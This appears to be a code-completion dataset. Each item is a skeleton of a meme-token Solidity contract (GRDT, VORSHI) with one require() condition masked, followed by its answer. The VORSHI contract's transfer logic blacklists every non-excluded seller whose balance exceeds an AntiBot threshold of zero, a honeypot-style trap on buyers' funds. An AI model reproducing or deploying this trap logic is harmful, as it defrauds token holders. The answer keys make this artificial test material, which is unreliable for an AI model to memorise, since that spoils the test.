}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| newSwapAmount>=(totalSupply()*1)/100000,"Swap amount cannot be lower than 0.001% of the supply" | 63,533 | newSwapAmount>=(totalSupply()*1)/100000 |
"Swap amount cannot be higher than 0.5% of the supply" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
require(newSwapAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% of the supply");
require(<FILL_ME>)
swapTokensAtAmount = newSwapAmount;
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| newSwapAmount<=(totalSupply()*5)/1000,"Swap amount cannot be higher than 0.5% of the supply" | 63,533 | newSwapAmount<=(totalSupply()*5)/1000 |
"Cannot set max transaction lower than 0.1%" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
require(<FILL_ME>)
maxTransactionAmount = newMaxTx * (10**18);
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| newMaxTx>=((totalSupply()*1)/1000)/1e18,"Cannot set max transaction lower than 0.1%" | 63,533 | newMaxTx>=((totalSupply()*1)/1000)/1e18 |
"Cannot set max wallet lower than 0.1%" | /**
Telegram: https://t.me/GetRichOrDieTryin_ETH
X: https://twitter.com/grdt_eth
Website: https://www.getrichordietryin.live/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
pragma experimental ABIEncoderV2;
abstract contract Ownable {
address private _owner;
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeERC20 {
function safeTransfer(address token, address to, uint256 value) internal {
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract GRDT is Ownable {
string private constant _name = unicode"GET RICH OR DIE TRYIN";
string private constant _symbol = unicode"GRDT";
uint256 private constant _totalSupply = 10_000_000 * 1e18;
uint256 public maxTransactionAmount = 200_000 * 1e18; // 2% maxWallet
uint256 public maxWallet = 200_000 * 1e18; // 2% maxWallet
uint256 public swapTokensAtAmount = (_totalSupply * 2) / 10000;
address private developmentWallet = 0x1a249Ce44Fc3c0D44FC6cD3155E44d811f8261e7;
address private marketingWallet = 0xeCad233aDA714117CA87f7AC55382a985b023C06;
address private teamWallet = 0x8B214f872ad4526373cf0897B9317Fc57166d9F0;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint8 public buyTotalFees = 4;
uint8 public sellTotalFees = 4;
uint8 public developmentFee = 50;
uint8 public marketingFee = 50;
uint8 public teamFee = 0;
bool private swapping;
bool public limitsInEffect = true;
bool private launched;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(uint256 tokensSwapped, uint256 teamETH, uint256 developmentETH, uint256 MarketingETH);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable uniswapV2Pair;
constructor() {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) external returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) external returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function setDistributionFees(uint8 _DevelopmentFee, uint8 _MarketingFee, uint8 _teamFee) external onlyOwner {
}
function setFees(uint8 _buyTotalFees, uint8 _sellTotalFees) external onlyOwner {
}
function setExcludedFromFees(address account, bool excluded) public onlyOwner {
}
function setExcludedFromMaxTransaction(address account, bool excluded) public onlyOwner {
}
function airdropWallets(address[] memory addresses, uint256[] memory amounts) external onlyOwner {
}
function openTrade() external onlyOwner {
}
function Snipermode() external payable onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function setSwapAtAmount(uint256 newSwapAmount) external onlyOwner {
}
function setMaxTxnAmount(uint256 newMaxTx) external onlyOwner {
}
function setMaxWalletAmount(uint256 newMaxWallet) external onlyOwner {
require(<FILL_ME>)
maxWallet = newMaxWallet * (10**18);
}
function updateDevelopmentWallet(address newAddress) external onlyOwner {
}
function updateMarketingWallet(address newAddress) external onlyOwner {
}
function updateTeamWallet(address newAddress) external onlyOwner {
}
function excludedFromFee(address account) public view returns (bool) {
}
function withdrawStuckToken(address token, address to) external onlyOwner {
}
function withdrawStuckETH(address addr) external onlyOwner {
}
function swapBack() private {
}
}
| newMaxWallet>=((totalSupply()*1)/1000)/1e18,"Cannot set max wallet lower than 0.1%" | 63,533 | newMaxWallet>=((totalSupply()*1)/1000)/1e18 |
null | // SPDX-License-Identifier: MIT
/** Community Driven Low tax token
/* Telegram: https://t.me/VoltRyoshi
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VORSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "VOLT RYOSHI";
string private constant _symbol = "VORSHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(<FILL_ME>)
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 1;
_teamTax = 1;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > AntiBot){
setBots(from);
}
_redistribution = 1;
_teamTax = 1;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address _address) private {
}
function delBot(address _address) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external {
}
function updateAntiBot(uint256 newAntiBot) external {
}
function _burn(address _who, uint256 _value) internal virtual {
}
function burn(uint256 _value) external {
}
function manualsend() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| !bots[to] | 63,590 | !bots[to] |
null | // SPDX-License-Identifier: MIT
/** Community Driven Low tax token
/* Telegram: https://t.me/VoltRyoshi
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VORSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "VOLT RYOSHI";
string private constant _symbol = "VORSHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(<FILL_ME>)
if(from != address(this)){
_redistribution = 1;
_teamTax = 1;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > AntiBot){
setBots(from);
}
_redistribution = 1;
_teamTax = 1;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address _address) private {
}
function delBot(address _address) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external {
}
function updateAntiBot(uint256 newAntiBot) external {
}
function _burn(address _who, uint256 _value) internal virtual {
}
function burn(uint256 _value) external {
}
function manualsend() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| !bots[tx.origin] | 63,590 | !bots[tx.origin] |
null | // SPDX-License-Identifier: MIT
/** Community Driven Low tax token
/* Telegram: https://t.me/VoltRyoshi
*/
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VORSHI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "VOLT RYOSHI";
string private constant _symbol = "VORSHI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function setBots(address _address) private {
}
function delBot(address _address) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function updateAntiBot(uint256 newAntiBot) external {
}
function _burn(address _who, uint256 _value) internal virtual {
}
function burn(uint256 _value) external {
}
function manualsend() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
